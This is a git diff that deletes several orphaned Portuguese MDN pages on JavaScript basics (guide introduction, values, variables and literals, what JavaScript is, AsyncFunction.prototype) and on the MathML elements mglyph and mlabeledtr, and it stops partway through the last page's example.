-var versionList = ["1.5", "1.6", "1.7", "1.8", "1.8.1", "1.8.5"];
-var s = "";
-<ul>
-  foreach (var i in versionList){
-    let s = "/en/JavaScript/New_in_JavaScript/" .. i;
-    <li>web.link(s, wiki.getPage(s).title)</li>;
-  }
-</ul>;
- -

O que já é necessário saber

- -

Este guia assume que já possui os seguintes conhecimentos como base:

- -
    -
  • Um entendimento geral da Internet e da World Wide Web (WWW).
  • -
  • Bom conhecimento de trabalho com HyperText Markup Language (HTML).
  • -
- -

Alguma experiência de programação com uma linguagem como C ou Visual Basic é útil, mas não necessária.

- -

Versões do JavaScript

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tabela 1 Versões do JavaScript e do Navigator
versão JavaScriptversão Navigator
JavaScript 1.0Navigator 2.0
JavaScript 1.1Navigator 3.0
JavaScript 1.2Navigator 4.0-4.05
JavaScript 1.3Navigator 4.06-4.7x
JavaScript 1.4 
JavaScript 1.5Navigator 6.0
- Mozilla (navegador open source)
JavaScript 1.6Firefox 1.5, outros produtos baseados no Mozilla 1.8
JavaScript 1.7Firefox 2, outros produtos baseados no Mozilla 1.8.1
JavaScript 1.8Firefox 3, outros produtos baseados no Gecko 1.9
- -

Cada versão do Netscape Enterprise Server também suporta diferentes versões do JavaScript. Para ajudar na escrita de scripts compatíveis com múltiplas versões do Enterprise Server, este manual usa uma abreviação para indicar a versão do servidor na qual cada característica foi implementada.

- - - - - - - - - - - - - - - - - - - -
Tabela 2 Abreviações das versões do Netscape Enterprise Server
Abreviaçãoversão Enterprise Server
NES 2.0Netscape Enterprise Server 2.0
NES 3.0Netscape Enterprise Server 3.0
- -

Onde encontrar informações sobre JavaScript

- -

A documentação do JavaScript inclui os seguintes livros:

- - - -

Se você é novo no JavaScript, comece com o Guia de JavaScript. Uma vez que você tenha uma boa compreensão dos fundamentos, você pode usar a Referência JavaScript para obter mais detalhes sobre objetos e declarações.

- -

Dicas para aprender JavaScript

- -

Começar com o JavaScript é fácil: é necessário apenas um navegador web moderno. Este guia inclui algumas características do JavaScript que estão atualmente disponíveis nas últimas versões do Firefox (e outros navegadores baseados no Gecko), é recomendado, portanto, o uso da versão mais recente do Firefox.

- -

Um interpretador interativo

- -

Uma linha de comando interativa com JavaScript é inestimável para o aprendizado da linguagem, pois permite experimentar código de forma interativa sem ter que salvar um arquivo e recarregar a página. O Console de erros do Firefox, acessível através do menu de Ferramentas, fornece uma maneira simples de testar JavaScript interativamente: Basta entrar uma linha de código e clicar no botão "Executar".

- -

Image:ErrorConsole.png

- -

Firebug

- -

Uma linha de comando interativa mais avançada está disponível com o uso do Firebug, uma extensão de terceiros para o Firefox. O Firebug também fornece um inspetor DOM avançado, um depurador de JavaScript, uma ferramenta de análise e vários outros utilitários.

- -

Image:Firebug.png

- -

Um dos mais úteis benefícios proporcionados pelo Firebug é console.log(), uma função que imprime seus argumentos no console do Firebug. Diferentemente de outras linguagens de programação, o JavaScript não possui um conceito de impressão para a saída padrão. O console.log() fornece uma alternativa útil, tornando mais fácil ver o que seu programa está fazendo.

- -

Muitos dos exemplos neste guia usam alert() para exibir mensagens conforme são executados. Tendo o Firebug instalado, pode ser usando console.log() ao invés de alert() ao rodar estes exemplos.

- -

Convenções de documento

- -

Aplicações JavaScript rodam em muitos sistemas operacionais; a informação neste livro aplica-se a todas as versões. Os caminhos de arquivos e diretórios são dados no formato Windows (com contrabarras separando os nomes dos diretórios). Para versões Unix, os caminhos são os mesmo, exceto por serem usadas barras ao invés de contrabarras para separar os diretórios.

- -

Este guia usa localizador padrão de recursos (uniform resource locators (URL)) da seguinte forma:

- -

http://server.domain/path/file.html

- -

Nestas URL, server representa o nome do servidor no qual a aplicação é rodada, tal como research1 ou www; domain representa seu domínio de internet, como netscape.com ou uiuc.edu; path representa a estrutura do diretório no servidor; e file.html representa o nome de um arquivo individual. No geral, itens em itálico em são placeholders e itens em fonte monoespaçada normal são literais. Se o servidor possuir Secure Sockets Layer (SSL) habilitado, pode ser usado https ao invés de http na URL.

- -

Este guia utiliza as seguintes convenções de fontes:

- -
    -
  • A fonte mono espaçada é utilziada para amostras de código e listagens de código, API e elementos da linguagem (como nomes de métodos e propriedades), nome de arquivos, caminhos, diretórios, tags HTML, e qualquer texto que possa ser digitado na tela. (A fonte monoespaçada itálica é usada para placeholders embutidos no código.)
  • -
  • O tipo itálico é usado para títulos de livros, ênfase, variáveis e placeholders, e palavras usadas em sentido literal.
  • -
  • O tipo negrito é usado para termos de glossário.
  • -
- -
autoPreviousNext("JSGChapters");
-wiki.languages({
-  "en": "en/JavaScript/Guide/About",
-  "es": "es/Gu\u00eda_JavaScript_1.5/Acerca_de_esta_gu\u00eda",
-  "fr": "fr/Guide_JavaScript_1.5/\u00c0_propos",
-  "ja": "ja/Core_JavaScript_1.5_Guide/About",
-  "ko": "ko/Core_JavaScript_1.5_Guide/About",
-  "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/O_tym_przewodniku",
-  "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u5173\u4e8e",
-  "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/關於"
-})
-
diff --git "a/files/pt-pt/orphaned/web/javascript/guia/valores,_vari\303\241veis_e_literais/index.html" "b/files/pt-pt/orphaned/web/javascript/guia/valores,_vari\303\241veis_e_literais/index.html" deleted file mode 100644 index 2a80e7d982..0000000000 --- "a/files/pt-pt/orphaned/web/javascript/guia/valores,_vari\303\241veis_e_literais/index.html" +++ /dev/null @@ -1,548 +0,0 @@ ---- -title: Valores, Variáveis e Literais -slug: orphaned/Web/JavaScript/Guia/Valores,_Variáveis_e_Literais -original_slug: Web/JavaScript/Guia/Valores,_Variáveis_e_Literais ---- -

Este capítulo discute valores reconhecidos pelo JavaScript e descreve a construção de blocos fundamentais de expressões em JavaScript: variáveis, constantes e literais.

- -

Valores

- -

O JavaScript reconhece os seguintes tipos de valores:

- -
    -
  • Números (en), como 42 ou 3,14159
  • -
  • Valores lógicos (Booleanos) (en), true ou false
  • -
  • Strings (en), tais como "Howdy!"
  • -
  • null, um palavra chave especial denotando um valor nulo; null também é um valor primitivo. Como JavaScript é sensível a maiúsculas, null não é a mesma coisa que Null, NULL, ou qualquer outra variante
  • -
  • undefined (en), uma propriedade de alto nível a qual possui o valor indefinido; undefined também é um valor primitivo.
  • -
- -

Este conjunto de tipos de valores relativamente pequeno, permite realizar funções úteis com suas aplicações. Não há distinção explícita entre números inteiros e reais. Nem existe um tipo de dados de datas explícito em JavaScript. Entretanto, é possível utilizar o objeto Date (en) e seus métodos para lidar com datas.

- -

Objetos (en) e funções (en) são os outros elementos fundamentias da linguagem. Pode-se pensar em objetos como nomes nos quais podem ser guardados valores, e funções como procedimentos que sua aplicação pode executar.

- -

Conversão de tipos de dados

- -

O JavaScript é uma linguagem de tipagem dinâmica. Isto significa que não é necessário especificar o tipo de dado de uma variável quando ela for declarada, e tipos de dados são automaticamento convertidos conforme necessário durante a execução do script. Então, por exemplo, pode-se definir uma variável como:

- -
var resposta = 42;
-
- -

E depois, pode-se atribuir para a mesma variável um valor de string, por exemplo:

- -
resposta = "Obrigado pelos peixes...";
-
- -

Como o JavaScript possui tipagem dinâmica, esta atribuição não gera uma mensagem de erro.

- -

Em expressões envolvendo valores numéricos e strings com o operador +, o JavaScript converte valores numérios para string. Por exemplo, considere as seguintes declarações:

- -
x = "A resposta é " + 42 // retorna "A resposta é 42"
-y = 42 + " é a resposta" // retorna "42 é a resposta"
-
- -

Em declarações envolvendo outros operadores, o JavaScript não converte valores numérico para strings. Por exemplo:

- -
"37" - 7 // retorna 30
-"37" + 7 // retorna "377"
- -

Variáveis

- -

Variáveis são usadas como nomes simbólicos para valores em sua aplicação. Os nomes das variáveis, chamadas identificadores, de acordo com certas regras.

- -

Um identificador JavaScript deve começar com uma letra, sublinhado (_), ou cifrão ($); caracteres subsequentes podem também ser dígitos (0-9). Como o JavaScript é sensível a maiúsculas, as letras incluem os caracteres de "A" até "Z" (maiúsculas) e os caracteres de "a" até "z" (minúsculas).

- -

A partir do JavaScript 1.5 é possível usar letras em ISO 8859-1 ou Unicode tais como å e ü nos identificadores. Também é possível usar as Sequências de escape em Unicode \uXXXX como caracteres nos identificadores.

- -

Alguns exemplos de nomes possíveis são: Number_hits, temp99 e _name.

- -

Declaração de variáveis

- -

Você pode declarar uma variável de duas maneiras:

- -
    -
  • Com a palavra chave var. Por exemplo, var x = 42. Esta sintaxe pode ser usada para declarar tanto variáveis locais quanto globais (en).
  • -
  • Simplesmente atribuindo um valor a ela. Por exemplo, x = 42. Isto sempre declara uma variável global (en) e gera um aviso estrito do JavaScript. Esta variante não deve ser usada.
  • -
- -

Avaliação de variáveis

- -

Uma variável declarada usando-se a declaração var sem possuir um valor inicial especificado possui o valor undefined.

- -

Uma tentativa de acesso a uma variável não declarada resultará no lançamento de uma exceção ReferenceError:

- -
var a;
-print("O valor de a é " + a); // imprime "O valor de a é undefined"
-print("O valor de b é " + b); // lança a exceção ReferenceError
-
- -

Você pode usar undefined para determinar quando uma variável possui um valor. No código a seguir, a variável input não possui um valor atribuido e a declaração if é avaliada como true.

- -
var input;
-if(input === undefined){
-  doThis();
-} else {
-  doThat();
-}
-
- -

O valor undefined comporta-se como false quando usado em um contexto booleano. Por exemplo, o código a seguir executa a função myFunction porque o elemento myArray não está definido:

- -
var myArray = new Array();
-if (!myArray[0]) myFunction();
-
- -

Quando você avalia uma variável nula, o valor nulo comporta-se como um 0 no contexto numérico e como falso em contextos booleanos. Por exemplo

- -
var n = null;
-print(n * 32); // imprime 0
-
- -

Escopo de variáveis

- -

Quando uma variável é declarada de fora de qualquer função, ele é chamada de variável global, pois ela está disponível para qualquer outro código no documento atual. Quando você declara uma variável dentro de uma função, ela é chamada de variável local, pois ela está disponível somente dentro dessa função.

- -

O JavaScript não possui um escopo de declaração de blocos (en); ao contrário, será local para o código interno ao bloco. Por exemplo, o código a seguir imprimirá 0 ao invés de lançar a exceção ReferenceError se condition é false:

- -
if (condition) {
-  var x = 5;
-}
-print(x ? x : 0);
-
- -

Outra coisa não usual sobre variáveis em JavaScript é que é possível referir-se a uma variável declarada depois, sem receber uma exceção. Este conceito é conhecido como hoisting; as variáveis no JavaScript são levadas para o topo da função ou da declaração.  Entretanto, as variáveis não inicializadas retornarão um valor undefined.

- -
print(x === undefined); // prints "true"
-var x = 3;
-
-//will return a value of undefined
-var myvar = "my value";
-
-(function() {
-  alert(myvar);//undefined
-  var myvar = "local value"
-})();
-
- -

Variáveis globais

- -

necessário links para as páginas discutindo cadeias no âmbito do objeto global Variáveis globais são, na verdade, propriedade de um objeto global. Em páginas web o objeto global é window, então você pode configurar e acessar variáveis globais usando a sintaxe window.variable.

- -

Consequentemente, você pode acessar variáveis globais declaradas em uma janela ou quadro de alguma outra janela ou quadro, especificando o nome do mesmo. Por exemplo, se uma variável chamada phoneNumber é declarada em um documento FRAMESET, você pode referir-se a esta variável a partir de um frame herdeiro como parent.phoneNumber.

- -

Veja também

- -

Sharp variables in JavaScript (en)

- -

Constantes

- -

Você pode criar elementos "somente leitura", nomeados constantes com a palavra chave const. A sintaxe de um identificador constante é a mesma para um identificador de variáveis: deve começar com uma letra ou sublinhado e pode conter caracteres alfabéticos, numéricos ou sublinhado.

- -
const prefix = '212';
-
- -

Uma constante não pode ter seu valor mudado através de uma atribuição ou ser declarada novamente enquanto o script estiver rodando.

- -

As regras de escopo para constantes são as mesmas que as das variáveis, exceto que a palavra chave const é sempre necessária, mesmo para constantes globais. Se uma palavra chave é omitida, o identificador é assumido como uma variável.

- -

Você não pode declarar uma constante com o mesmo nome de uma função ou variável no mesmo escopo. Por exemplo:

- -
// ISTO CAUSARA UM ERRO
-function f() {};
-const f = 5;
-
-// ISTO TAMBEM CAUSARA UM ERRO
-function f() {
-  const g = 5;
-  var g;
-
-  // declaracoes
-}
-
- -

Literais

- -

Você usa literais para representar valores em JavaScript. Estes valores são fixos, não variáveis, que você fornece literalmente no seu script. Esta seção descreve os seguintes tipos de literais:

- - - -

Ordenação de literais

- -

Um literal ordenado é uma lista de zero ou mais expressões, cada qual representando um elemento ordenado, armazenado em colchetes ([]). Quando você cria uma ordenação usando um literal ordenado, ele é inicializado com os valores especificados como seus elementos e seu comprimento configurado para o número de argumentos especificados.

- -

O exemplo a seguir cria uma ordenação coffees com três elementos e o comprimento de três:

- -
var coffees = ["French Roast", "Colombian", "Kona"];
-
- -

Nota Uma ordenação literal é um tipo de inicializador de objeto. Veja Using Object Initializers (en).

- -

Se uma ordenação é criada usando um literal em um alto nível de script, o JavaScript interpreta a ordenação cada vez que uma expressão contendo a ordenação literal é avaliada. Adicionalmente, um literal usado em uma função é criado cada vez que a função é chamada.

- -

Ordenações literais são também objetos Array.  Veja Array Object (en) para detalhes sobre objetos Array.

- -

Vírgulas extras em literais ordenados

- -

Não é necessário especificar todos os elementos de um literal ordenado. Se forem colocadas duas vírgulas em uma coluna, a ordenação é criada com espaços para elementos não especificados. O exemplo seguinte mostra a ordenação fish:

- -
var fish = ["Lion", , "Angel"];
-
- -

Esta ordenação possui dois elementos com valores e um elemento vazio (fish[0] é "Lion", fish[1] é undefined e fish[2] é "Angel").

- -

Caso seja inserida uma última vírgula ao fim da lista de elementos, a vírgula é ignorada. No exemplo a seguir, o comprimento da ordenação é três. Não há myList[3]. Todas as outras vírgulas da lista indicam um novo elemento.

- -
var myList = ['home', , 'school', ];
-
- -

No exemplo a seguir, o comprimento da ordenação é quatro, e myList[0] e myList[2] estão faltando.

- -
var myList = [ , 'home', , 'school'];
-
- -

No exemplo seguinte, o comprimento da ordenação é quatro, e  myList[1] e myList[3] estão faltando. Somente a última vírgula é ignorada.

- -
var myList = ['home', , 'school', , ];
-
- -

Booleanos literais

- -

O tipo Booleano possui dois valores literais: true e false.

- -

Não confunda-os com os valores Booleanos primitivos true e false com os valores verdadeiro e falso do objeto Booleano. O objeto Booleano é um invólucro ao redor do tipo de dado Booleano. Veja Boolean Object (en) para mais informações.

- -

Inteiros

- -

Inteiros podem ser expressos na base decimal (base 10), hexadecimal (base 16) e octal (base 8). Um inteiro decimal literal consiste em uma sequência de dígitos sem um 0 (zero) no início. Um 0 (zero) no início de um inteiro literal indica que se trata de um octal; um 0x (ou 0X) indica hexadecimal. Inteiros hexadecimais podem incluir dígitos (0-9) e as letras de a-f e A-F. Inteiros octais podem incluir somente dígitos 0-7.

- -

Inteiros octais literais são obsoletos e foram removidos do padrão ECMA-262, Edição 3. O JavaScript 1.5 ainda os suporta para compatibilidade com versões anteriores.

- -

Alguns exemplo de inteiros literais são:

- -
0, 117 e -345 (decimal, base 10)
-015, 0001 e -077 (octal, base 8)
-0x1123, 0x00111 e -0xF1A7 (hexadecimal, "hex" ou base 16)
-
- -

Pontos flutuantes literais

- -

Um literal de ponto flutuante pode possuir as seguintes partes:

- -
    -
  • Um inteiro decimal, o qual pode ser assinado (precedido por  "+" ou "-"),
  • -
  • Um ponto decimal ("."),
  • -
  • Uma fração (outro número decimal),
  • -
  • Um expoente.
  • -
- -

A parte do expoente é um "e" ou "E" seguido por um inteiro, o qual pode ser assinado (precedido por "+" ou "-"). Um literal de ponto flutuante deve ter ao menos um dígito e um ponto decimal ou "e" (ou "E").

- -

Alguns exemplos de pontos flutuantes literais são 3.1415, -3.1E12, .1e12, and 2E-12.

- -

Mais claramente, a sintaxe é:

- -
[digitos][.digitos][(E|e)[(+|-)]digitos]
-
- -

Por exemplo:

- -
3.14
-2345.789
-.3333333333333333333
-
- -

Objetos literais

- -

An object literal is a list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}). You should not use an object literal at the beginning of a statement. This will lead to an error or not behave as you expect, because the { will be interpreted as the beginning of a block.

- -

The following is an example of an object literal. The first element of the car object defines a property, myCar; the second element, the getCar property, invokes a function (CarTypes("Honda")); the third element, the special property, uses an existing variable (Sales).

- -
var Sales = "Toyota";
-
-function CarTypes(name) {
-  if (name == "Honda")
-     return name;
-  else
-     return "Sorry, we don't sell " + name + ".";
-}
-
-var car = { myCar: "Saturn", getCar: CarTypes("Honda"), special: Sales };
-
-document.write(car.myCar);   // Saturn
-document.write(car.getCar);  // Honda
-document.write(car.special); // Toyota
-
- -

Additionally, you can use a numeric or string literal for the name of a property or nest an object inside another. The following example uses these options.

- -
var car = { manyCars: {a: "Saab", "b": "Jeep"}, 7: "Mazda" };
-
-document.write(car.manyCars.b); // Jeep
-document.write(car[7]); // Mazda
-
- -

Please note:

- -
var foo = {a: "alpha", 2: "two"};
-document.write(foo.a);    // alpha
-document.write(foo[2]);   // two
-//document.write(foo.2);  // Error: missing ) after argument list
-//document.write(foo[a]); // Error: a is not defined
-document.write(foo["a"]); // alpha
-document.write(foo["2"]); // two
-
- -

Strings literais

- -

A string literal is zero or more characters enclosed in double (") or single (') quotation marks. A string must be delimited by quotation marks of the same type; that is, either both single quotation marks or both double quotation marks. The following are examples of string literals:

- -
    -
  • "foo"
  • -
  • 'bar'
  • -
  • "1234"
  • -
  • "one line \n another line"
  • -
  • "John's cat"
  • -
- -

You can call any of the methods of the String object on a string literal value—JavaScript automatically converts the string literal to a temporary String object, calls the method, then discards the temporary String object. You can also use the String.length property with a string literal:

- -
"John's cat".length
-
- -

You should use string literals unless you specifically need to use a String object. See String Object for details on String objects.

- -

Usando caracteres especiais em strings

- -

In addition to ordinary characters, you can also include special characters in strings, as shown in the following example.

- -
"one line \n another line"
-
- -

The following table lists the special characters that you can use in JavaScript strings.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Table 2.1 JavaScript special characters
CharacterMeaning
\bBackspace
\fForm feed
\nNew line
\rCarriage return
\tTab
\vVertical tab
\'Apostrophe or single quote
\"Double quote
\\Backslash character (\).
\XXXThe character with the Latin-1 encoding specified by up to three octal digits XXX between 0 and 377. For example, \251 is the octal sequence for the copyright symbol.
\xXXThe character with the Latin-1 encoding specified by the two hexadecimal digits XX between 00 and FF. For example, \xA9 is the hexadecimal sequence for the copyright symbol.
\uXXXXThe Unicode character specified by the four hexadecimal digits XXXX. For example, \u00A9 is the Unicode sequence for the copyright symbol. See Unicode Escape Sequences.
- -

Caracteres de escape

- -

For characters not listed in Table 2.1, a preceding backslash is ignored, but this usage is deprecated and should be avoided.

- -

You can insert a quotation mark inside a string by preceding it with a backslash. This is known as escaping the quotation mark. For example:

- -
var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service.";
-document.write(quote);
-
- -

The result of this would be:

- -
He read "The Cremation of Sam McGee" by R.W. Service.
-
- -

To include a literal backslash inside a string, you must escape the backslash character. For example, to assign the file path c:\temp to a string, use the following:

- -
var home = "c:\\temp";
-
- -

You can also escape line breaks by preceding them with backslash.  The backslash and line break are both removed from the value of the string.

- -
var str = "this string \
-is broken \
-across multiple\
-lines."
- -

Although JavaScript does not have "heredoc" syntax, you can get close by adding a linebreak escape and an escaped linebreak at the end of each line:

- -
var poem =
-"Roses are red,\n\
-Violets are blue.\n\
-I'm schizophrenic,\n\
-And so am I."
-
- -

Unicode

- -

Unicode is a universal character-coding standard for the interchange and display of principal written languages. It covers the languages of the Americas, Europe, Middle East, Africa, India, Asia, and Pacifica, as well as historic scripts and technical symbols. Unicode allows for the exchange, processing, and display of multilingual texts, as well as the use of common technical and mathematical symbols. It hopes to resolve internationalization problems of multilingual computing, such as different national character standards. Not all modern or archaic scripts, however, are currently supported.

- -

The Unicode character set can be used for all known encoding. Unicode is modeled after the ASCII (American Standard Code for Information Interchange) character set. It uses a numerical value and name for each character. The character encoding specifies the identity of the character and its numeric value (code position), as well as the representation of this value in bits. The 16-bit numeric value (code value) is defined by a hexadecimal number and a prefix U, for example, U+0041 represents A. The unique name for this value is LATIN CAPITAL LETTER A.

- -

Unicode is not supported in versions of JavaScript prior to 1.3.

- -

Compatibilidade do Unicode com ASCII e ISO

- -

Unicode is fully compatible with the International Standard ISO/IEC 10646-1; 1993, which is a subset of ISO 10646.

- -

Several encoding standards (including UTF-8, UTF-16 and ISO UCS-2) are used to physically represent Unicode as actual bits.

- -

The UTF-8 encoding of Unicode is compatible with ASCII characters and is supported by many programs. The first 128 Unicode characters correspond to the ASCII characters and have the same byte value. The Unicode characters U+0020 through U+007E are equivalent to the ASCII characters 0x20 through 0x7E. Unlike ASCII, which supports the Latin alphabet and uses a 7-bit character set, UTF-8 uses between one and four octets for each character ("octet" meaning a byte, or 8 bits.) This allows for several million characters. An alternative encoding standard, UTF-16, uses two octets to represent Unicode characters. An escape sequence allows UTF-16 to represent the whole Unicode range by using four octets. The ISO UCS-2 (Universal Character Set) uses two octets.

- -

JavaScript and Navigator support for UTF-8/Unicode means you can use non-Latin, international, and localized characters, plus special technical symbols in JavaScript programs. Unicode provides a standard way to encode multilingual text. Since the UTF-8 encoding of Unicode is compatible with ASCII, programs can use ASCII characters. You can use non-ASCII Unicode characters in the comments, string literals, identifiers, and regular expressions of JavaScript.

- -

Sequências de escape em Unicode

- -

You can use the Unicode escape sequence in string literals, regular expressions, and identifiers. The escape sequence consists of six ASCII characters: \u and a four-digit hexadecimal number. For example, \u00A9 represents the copyright symbol. Every Unicode escape sequence in JavaScript is interpreted as one character.

- -

The following code returns the copyright symbol and the string "Netscape Communications".

- -
var x = "\u00A9 Netscape Communications";
- -

The following table lists frequently used special characters and their Unicode value.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Table 2.2 Unicode values for special characters
CategoryUnicode valueNameFormat name
White space values
-  
-  
-  
\u0009Tab<TAB>
\u000BVertical Tab<VT>
\u000CForm Feed<FF>
\u0020Space<SP>
Line terminator values
-  
\u000ALine Feed<LF>
\u000DCarriage Return<CR>
Additional Unicode escape sequence values
-  
-  
-  
-  
\u0008Backspace<BS>
\u0009Horizontal Tab<HT>
\u0022Double Quote"
\u0027Single Quote'
\u005CBackslash\
- -

The JavaScript use of the Unicode escape sequence is different from Java. In JavaScript, the escape sequence is never interpreted as a special character first. For example, a line terminator escape sequence inside a string does not terminate the string before it is interpreted by the function. JavaScript ignores any escape sequence if it is used in comments. In Java, if an escape sequence is used in a single comment line, it is interpreted as an Unicode character. For a string literal, the Java compiler interprets the escape sequences first. For example, if a line terminator escape character (e.g., \u000A) is used in Java, it terminates the string literal. In Java, this leads to an error, because line terminators are not allowed in string literals. You must use \n for a line feed in a string literal. In JavaScript, the escape sequence works the same way as \n.

- -

Caracteres Unicode em arquivos JavaScript

- -

Earlier versions of Gecko assumed the Latin-1 character encoding for JavaScript files loaded from XUL. Starting with Gecko 1.8, the character encoding is inferred from the XUL file's encoding. Please see International characters in XUL JavaScript for more information.

- -

Exibindo caracteres com Unicode

- -

You can use Unicode to display the characters in different languages or technical symbols. For characters to be displayed properly, a client such as Mozilla Firefox or Netscape needs to support Unicode. Moreover, an appropriate Unicode font must be available to the client, and the client platform must support Unicode. Often, Unicode fonts do not display all the Unicode characters. Some platforms, such as Windows 95, provide partial support for Unicode.

- -

To receive non-ASCII character input, the client needs to send the input as Unicode. Using a standard enhanced keyboard, the client cannot easily input the additional characters supported by Unicode. Sometimes, the only way to input Unicode characters is by using Unicode escape sequences.

- -

For more information on Unicode, see the Unicode Home Page and The Unicode Standard, Version 2.0, published by Addison-Wesley, 1996.

- -
autoPreviousNext("JSGChapters");
diff --git "a/files/pt-pt/orphaned/web/javascript/o_que_\303\251_o_javascript/index.html" "b/files/pt-pt/orphaned/web/javascript/o_que_\303\251_o_javascript/index.html" deleted file mode 100644 index a72d184560..0000000000 --- "a/files/pt-pt/orphaned/web/javascript/o_que_\303\251_o_javascript/index.html" +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: O que é o JavaScript -slug: orphaned/Web/JavaScript/O_que_é_o_JavaScript -original_slug: Web/JavaScript/O_que_é_o_JavaScript ---- -

O JavaScript é uma linguagem de programação do lado cliente, ou seja, é processada pelo próprio navegador. -Com o JavaScript podemos criar efeitos especiais para nossas páginas na Web, além -de podermos proporcionar uma maior interatividade com nossos usuários. -O JavaScript é uma linguagem orientada a objetos, ou seja, ela trata todos os elementos da página -como objetos distintos, fascilitando a tarefa da programação. -

Resumindo, o JavaScript é uma poderosa linguagem que deve ser dominada por quem deseja criar páginas Web dinamicas e interativas. -


---rafael.marcondes92@gmail.com 12:39, 14 Julho 2008 (PDT) -

diff --git a/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html b/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html deleted file mode 100644 index 34234afe31..0000000000 --- a/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: AsyncFunction.prototype -slug: orphaned/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype -original_slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype ---- -
{{JSRef}}
- -

A propriedade AsyncFunction.prototype representa o objecto prototype {{jsxref("AsyncFunction")}}.

- -

Description

- -

Os objectos {{jsxref("AsyncFunction")}} são herdados de AsyncFunction.prototype e não podem ser modificados.

- -

Propriedades

- -
-
AsyncFunction.constructor
-
O valor inicial é {{jsxref("AsyncFunction")}}.
-
AsyncFunction.prototype[@@toStringTag]
-
Retorna "AsyncFunction".
-
- -

Especificações

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}{{Spec2('ESDraft')}}Definição inicial ES2017.
- -

Compatibilidade entre navegadores

- -
- - -

{{Compat("javascript.builtins.AsyncFunction.prototype")}}

-
- -

Ver também

- -
    -
  • {{jsxref("AsyncFunction")}}
  • -
  • {{jsxref("Function")}}
  • -
diff --git a/files/pt-pt/orphaned/web/mathml/element/mglyph/index.html b/files/pt-pt/orphaned/web/mathml/element/mglyph/index.html deleted file mode 100644 index a8d5b18857..0000000000 --- a/files/pt-pt/orphaned/web/mathml/element/mglyph/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: -slug: orphaned/Web/MathML/Element/mglyph -tags: - - MathML - - MathML:Element - - Referência de MathML -translation_of: Web/MathML/Element/mglyph -original_slug: Web/MathML/Element/mglyph ---- -
{{MathMLRef}}
- -

O elemento de MathML <mglyph> é usado para apresentar símbolos sem carateres de Unicode disponíveis. Pode ser usado dentro de token elements.

- -

Atributos

- -
-
alt
-
Este atributo define o texto alternativo que descreve a imagem. Os utilizadores verão isto apresentado se o URL da imagem estiver errado, se a imagem não estiver num dos formatos suportados, ou até a imagem ser descarregada.
-
class, id, style
-
Para uso com stylesheets.
-
height
-
A altura da imagem.
-
href
-
Usado para criar uma hiperligação para um URI.
-
mathbackground
-
A cor de fundo (se a imagem tem transparência). Pode usar #rgb, #rrggbb e nomes de cores de HTML.
-
src
-
O URL da imagem.
-
valign
-
Indica o alinhamento vertical com respeito à linha de base atual.
-
width
-
A largura da imagem.
-
- -

Exemplos

- -
<math>
-  <mi><mglyph src="my-glyph.png" alt="my glyph"/></mi>
-</math>
-
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{ SpecName('MathML3', 'chapter3.html#presm.mglyph', 'mglyph') }}{{ Spec2('MathML3') }}Especificação atual
{{ SpecName('MathML2', 'chapter3.html#presm.mglyph', 'mglyph') }}{{ Spec2('MathML2') }}Especificação inicial
- -

Compatibilidade

- - - - - -

{{Compat("mathml.elements.mglyph")}}

diff --git a/files/pt-pt/orphaned/web/mathml/element/mlabeledtr/index.html b/files/pt-pt/orphaned/web/mathml/element/mlabeledtr/index.html deleted file mode 100644 index bb8ffe4808..0000000000 --- a/files/pt-pt/orphaned/web/mathml/element/mlabeledtr/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: -slug: orphaned/Web/MathML/Element/mlabeledtr -tags: - - MathML - - MathML:Element - - MathML:Tabular Math - - Referência de MathML -translation_of: Web/MathML/Element/mlabeledtr -original_slug: Web/MathML/Element/mlabeledtr ---- -
{{MathMLRef}}
- -

O elemento MathML <mlabeledtr> é utilizado para representar um rótulo/etiqueta numa fila quer do lado esquerdo, quer do direito (determinado utilizando o atributo side no elemento {{MathMLElement("mtable") }}). Os elementos criança de <mlabeledtr> devem ser {{MathMLElement("mtd") }} elementos. A primeira criança é o rótulo, enquanto todas as outras crianças representam conteúdos de linha e são tratadas de forma idêntica às crianças de elementos {{MathMLElement("mtr") }}.

- -

Atributos

- -
-
class, id, style
-
Para uso com stylesheets.
-
columnalign
-
Indica o alinhamento horizontal desta célula e sobrepõe o valor especificado por {{ MathMLElement("mtable") }}.
- Os valores possíveis são: left, center e right.
-
groupalign
-
{{ unimplemented_inline() }}
-
href
-
Usado para criar uma hiperligação para um URI.
-
mathbackground
-
A cor de fundo. Pode usar #rgb, #rrggbb e nomes de cores de HTML.
-
mathcolor
-
A cor do texto. Pode usar #rgb, #rrggbb e nomes de cores de HTML.
-
rowalign
-
Indica o alinhamento vertical desta célula e sobrepõe o valor especificado por {{ MathMLElement("mtable") }}.
- Os valores possíveis são: axis, baseline, bottom, center e top.
-
- -

Exemplos

- -

Exemplo: sample rendering for mlabeledtr

- -
<math>
-  <mtable>
-
-    <mlabeledtr>
-      <mtd><mn>1</mn></mtd> <!-- label -->
-      <mtd><mi>A</mi></mtd>
-      <mtd><mi>B</mi></mtd>
-    </mlabeledtr>
-
-    <mtr>
-      <mtd><mi>C</mi></mtd>
-      <mtd><mi>D</mi></mtd>
-      <mtd><mi>E</mi></mtd>
-    </mtr>
-
-  </mtable>
